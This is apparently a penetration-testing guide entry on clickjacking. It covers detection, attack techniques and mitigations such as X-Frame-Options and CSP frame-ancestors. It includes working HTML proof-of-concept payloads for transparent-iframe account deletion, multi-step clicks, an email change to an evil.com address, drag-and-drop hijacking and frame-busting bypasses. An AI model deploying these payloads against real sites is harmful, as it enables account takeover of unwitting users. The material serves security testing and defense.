Clickjacking
Overview
Clickjacking (UI redressing) tricks users into clicking hidden elements by overlaying a transparent iframe of the target application on top of attacker-controlled content. The victim believes they are clicking a button on the attacker's page, but they are actually clicking a button on the target application — performing actions like changing account settings, making purchases, or granting permissions.
ATT&CK Mapping
- Tactic: TA0001 - Initial Access
- Technique: T1189 - Drive-by Compromise
Prerequisites
- Target page can be loaded in an iframe (no
X-Frame-Optionsorframe-ancestorsCSP) - Target page contains clickable actions that are valuable to the attacker (state-changing buttons, toggles, confirmation dialogs)
- Victim must be authenticated on the target application
Detection Methodology
Testing for Clickjacking Vulnerability
Step 1 — Check response headers:
# Check for X-Frame-Options and CSP frame-ancestors
curl -s -I http://target.com/account/settings | grep -iE "x-frame-options|content-security-policy"
Expected safe responses:
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
Content-Security-Policy: frame-ancestors 'none'
If neither header is present, the page is likely frameable.
Step 2 — Attempt to frame the page:
<html>
<head><title>Clickjacking Test</title></head>
<body>
<h1>Clickjacking PoC</h1>
<iframe src="http://target.com/account/settings" width="800" height="600"></iframe>
</body>
</html>
If the target page renders inside the iframe, it is vulnerable.
What to Check
- Pages with state-changing actions (settings, profile, permissions)
- OAuth authorization pages (grant access buttons)
- Payment confirmation pages
- Admin panels
- "Delete account" or "change email" pages
- One-click purchase buttons
Techniques
Basic Clickjacking
Overlay the target iframe transparently on top of a decoy page:
<html>
<head>
<style>
#target {
position: absolute;
top: 0; left: 0;
width: 800px;
height: 600px;
opacity: 0.0001; /* Nearly invisible */
z-index: 2; /* On top */
}
#decoy {
position: absolute;
top: 0; left: 0;
z-index: 1; /* Behind the iframe */
}
</style>
</head>
<body>
<div id="decoy">
<h1>Win a Free iPhone!</h1>
<button style="position:absolute; top:350px; left:200px; font-size:24px;">
Click Here to Claim!
</button>
</div>
<iframe id="target" src="http://target.com/account/delete"></iframe>
</body>
</html>
The victim clicks "Claim" but actually clicks the delete button on the target page beneath.
Multi-Step Clickjacking
Some actions require multiple clicks (e.g., "Delete account" → "Are you sure?" confirmation). Chain multiple clicks by repositioning the iframe between steps:
<html>
<head>
<style>
#target {
position: absolute;
opacity: 0.0001;
z-index: 2;
}
</style>
</head>
<body>
<div id="decoy">
<button id="btn1" style="position:absolute; top:350px; left:200px;">Step 1: Enter Contest</button>
<button id="btn2" style="position:absolute; top:350px; left:200px; display:none;">Step 2: Confirm Entry</button>
</div>
<iframe id="target" src="http://target.com/account/delete" width="800" height="600"></iframe>
<script>
document.getElementById('btn1').addEventListener('click', function() {
// After first click lands on "Delete" button,
// reposition iframe so second click hits "Confirm"
document.getElementById('target').style.top = '-50px';
document.getElementById('btn1').style.display = 'none';
document.getElementById('btn2').style.display = 'block';
});
</script>
</body>
</html>
Clickjacking with Form Prefill
Combine clickjacking with pre-filled form fields using URL parameters (if the target supports them):
<iframe src="http://target.com/account/email?new_email=attacker@evil.com"
style="opacity:0.0001; position:absolute; z-index:2;"
width="800" height="600">
</iframe>
The victim clicks what appears to be a decoy button, but actually submits a pre-filled form changing their email.
Clickjacking with Drag-and-Drop
Some applications require drag-and-drop interactions (e.g., file uploads, permission grants). Use HTML5 drag-and-drop events to redirect the victim's drag action into the target iframe:
<div id="drag-source" draggable="true" ondragstart="event.dataTransfer.setData('text/plain','attacker_data')">
Drag this prize to the box below!
</div>
<iframe src="http://target.com/upload" style="opacity:0.0001; position:absolute;"
width="800" height="600">
</iframe>
Frame-Busting Bypass
Some applications use JavaScript frame-busting to prevent framing:
// Common frame-busting code
if (top !== self) { top.location = self.location; }
Bypass with sandbox attribute:
<!-- sandbox prevents the iframe from navigating the top window -->
<iframe src="http://target.com/settings"
sandbox="allow-scripts allow-forms allow-same-origin"
style="opacity:0.0001; position:absolute;"
width="800" height="600">
</iframe>
The sandbox attribute without allow-top-navigation prevents the framed page from breaking out by redirecting top.location.
Bypass with double framing (parent-check variant):
<!-- Outer frame (attacker's page) -->
<iframe src="attacker-inner.html"></iframe>
<!-- attacker-inner.html contains: -->
<iframe src="http://target.com/settings"></iframe>
Some older frame-busting scripts check if (parent !== self) rather than if (top !== self). In double-framing, the target page's parent is the inner attacker frame (not top), so parent !== self is true but top.location redirect still points to the outer attacker page — the bust fails. This technique only works against scripts checking parent instead of top, and is unreliable. The sandbox-based bypass above is the more reliable approach.
Detection Methods
Network-Based Detection
- Pages missing
X-Frame-Optionsorframe-ancestorsCSP headers in responses - Authenticated pages returning sensitive content without framing protection
- Requests with
Sec-Fetch-Dest: iframefrom unexpected referrers
Host-Based Detection
- Audit all pages containing state-changing actions for framing headers
- Monitor CSP reports for
frame-ancestorsviolations - Review JavaScript frame-busting implementations for known bypass patterns
Mitigation Strategies
X-Frame-Optionsheader — set on all pages:DENY— page cannot be framed at allSAMEORIGIN— page can only be framed by same-origin pages- Limitation:
X-Frame-Optionsdoes not support multi-domain whitelists - CSP
frame-ancestorsdirective — the modern replacement forX-Frame-Options. More flexible and supports multiple origins: frame-ancestors 'none'— equivalent toDENYframe-ancestors 'self'— equivalent toSAMEORIGINframe-ancestors 'self' https://trusted.com— allows specific origins- Use both headers —
X-Frame-Optionsfor older browser compatibility andframe-ancestorsfor modern browsers. When both are present,frame-ancestorstakes precedence in supporting browsers - SameSite cookies —
SameSite=StrictorSameSite=Laxprevents cookies from being sent in framed cross-site contexts, making clickjacking attacks ineffective even if framing is possible (the user won't be authenticated in the frame) - Avoid JavaScript frame-busting as sole defense — frame-busting scripts are bypassable via
sandboxattribute. Use HTTP headers as the primary defense
References
Pentest Guides & Research
- PortSwigger Web Security Academy - Clickjacking
- OWASP - Clickjacking
- OWASP - Testing for Clickjacking